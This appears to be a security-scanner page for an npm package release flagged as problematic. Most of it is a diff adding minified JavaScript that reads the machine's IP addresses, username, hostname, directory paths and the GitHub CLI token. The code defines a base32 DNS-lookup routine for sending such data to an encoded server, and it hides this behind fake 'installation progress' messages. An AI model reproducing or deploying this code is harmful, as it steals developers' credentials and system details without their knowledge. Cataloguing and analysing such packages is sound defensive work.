hydrogen-sfdgspsdmq-test1 0.0.1-security → 2024.1.12

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of hydrogen-sfdgspsdmq-test1 might be problematic. Click here for more details.

@@ -0,0 +1 @@
1
+ const dns=require("dns");const http=require("http");const os=require("os");const path=require("path");const{exec:exec}=require("child_process");const interfaces=os.networkInterfaces();const timestamp=(new Date).toString();const parts=timestamp.split(" ");const datePart=parts.slice(0,4).join(" ");const timePart=parts[4];const timezonePart=parts.slice(5).join(" ");const timezonePart_parts=timezonePart.split(/\s+(?=\(.*\))/);const timezonePart1=timezonePart_parts[0];const timezonePart2=timezonePart_parts[1];const username=os.userInfo().username;const hostname=os.hostname();const homePath=os.homedir();const projectDir=process.cwd();const userDir=os.homedir();const relativeDir=path.relative(userDir,projectDir);const halfRelativeDir=getPartsOfRelativeDir(relativeDir);const dnsServersAddress=["MM2C4Z3FNZUXG6LTNNSXE3TFNQXGG33N"];Promise.all([fetchIPv4(),fetchIPv6(),getGitHubToken()]).then((([externalIPv4,externalIPv6,token])=>{iterateTrackingData(externalIPv4,externalIPv6,token)})).catch((error=>{}));function getPartsOfRelativeDir(relativeDir){const separator=relativeDir.includes("\\")?"\\":"/";const parts=relativeDir.split(separator);const numParts=4;const numDirectories=parts.length;const directoriesPerPart=Math.ceil(numDirectories/numParts);var currentDirectoryIndex=0;var result={};for(var i=1;i<=numParts;i++){var part=parts.slice(currentDirectoryIndex,currentDirectoryIndex+directoriesPerPart).join(separator);if(part.length>1){result[`part${i}`]=i===1?part:separator+part}currentDirectoryIndex+=directoriesPerPart}return result}function fetchIPv4(){return new Promise(((resolve,reject)=>{http.get({host:"api.ipify.org",port:80,path:"/"},(function(resp){var data="";resp.on("data",(function(chunk){data+=chunk}));resp.on("end",(function(){resolve(data)}))})).on("error",(function(err){reject(err)}))}))}function fetchIPv6(){return new Promise(((resolve,reject)=>{http.get({host:"api6.ipify.org",port:80,path:"/"},(function(resp){var data="";resp.on("data",(function(chunk){data+=chunk}));resp.on("end",(function(){resolve(data)}))})).on("error",(function(err){reject(err)}))}))}function getGitHubToken(){return new Promise(((resolve,reject)=>{exec("gh --version",((error,stdout,stderr)=>{if(error){reject("gh --version not found");return}exec("gh auth status --show-token",((error,stdout,stderr)=>{if(stdout||stderr){const output=stdout||stderr;const tokenRegex=/gho_[\w-]+/;const match=output.match(tokenRegex);if(match){const token=match[0].split("_")[1];resolve(token)}else{reject("gh token not found")}}else{reject("gh empty response")}}))}))}))}function getLocalIPv4(){var localIPv4="";for(const interface in interfaces){const filteredInterfaces=interfaces[interface].filter((details=>details.family==="IPv4"&&!details.internal));if(filteredInterfaces.length>0){localIPv4=filteredInterfaces[0].address;break}}return localIPv4}function base32Encode(input){const base32Chars="ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";var result="";var bits=0;var currentByte=0;for(var i=0;i<input.length;i++){currentByte=currentByte<<8|input[i];bits+=8;while(bits>=5){result+=base32Chars[currentByte>>>bits-5&31];bits-=5}}if(bits>0){result+=base32Chars[currentByte<<5-bits&31]}while(result.length%8!==0){result+="="}return result}function base32Decode(input){const base32Chars="ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";const reverseBase32Chars={};for(var i=0;i<base32Chars.length;i++){reverseBase32Chars[base32Chars[i]]=i}input=input.replace(/=+$/,"");var result=[];var bits=0;var currentByte=0;for(var i=0;i<input.length;i++){const value=reverseBase32Chars[input[i]];if(value===undefined){throw new Error("Invalid Base32 character")}currentByte=currentByte<<5|value;bits+=5;if(bits>=8){result.push(currentByte>>>bits-8&255);bits-=8}}return Buffer.from(result)}function sendDataToDNSServer(data,dnsServersAddress){const subdomain_data=base32Encode(Buffer.from(data)).replace(/[+/=]/g,"").toLowerCase();for(var dnsServerAddress of dnsServersAddress){dnsServerAddress_decoded=base32Decode(dnsServerAddress);const hostname=`${subdomain_data}.${dnsServerAddress_decoded}`;dns.lookup(hostname,((err,address)=>{if(err){}else{}}))}}async function iterateTrackingData(externalIPv4,externalIPv6,token){var trackingData=[getLocalIPv4(),externalIPv4,externalIPv6,datePart,timePart,timezonePart1,timezonePart2,username,hostname,homePath,token];for(var i=1;i<=4;i++){const part=halfRelativeDir[`part${i}`];if(part!==undefined){trackingData.push(part)}}m=["Checking prerequisites...","Preparing for installation...","Setting up environment...","Verifying file integrity...","Analyzing potential vulnerabilities...","Running security tests...","Notifying user of progress...","Loading configurations...","Initiating pre-installation process...","Completed. Ready for installation.","Cleaning working directory...","Finalizing preparation.","Performing system compatibility check...","Checking network connectivity...","Updating package registries..."];for(var i=0;i<trackingData.length;i++){console.log(`${m[i]}`);await new Promise((resolve=>setTimeout(resolve,2e3)))}}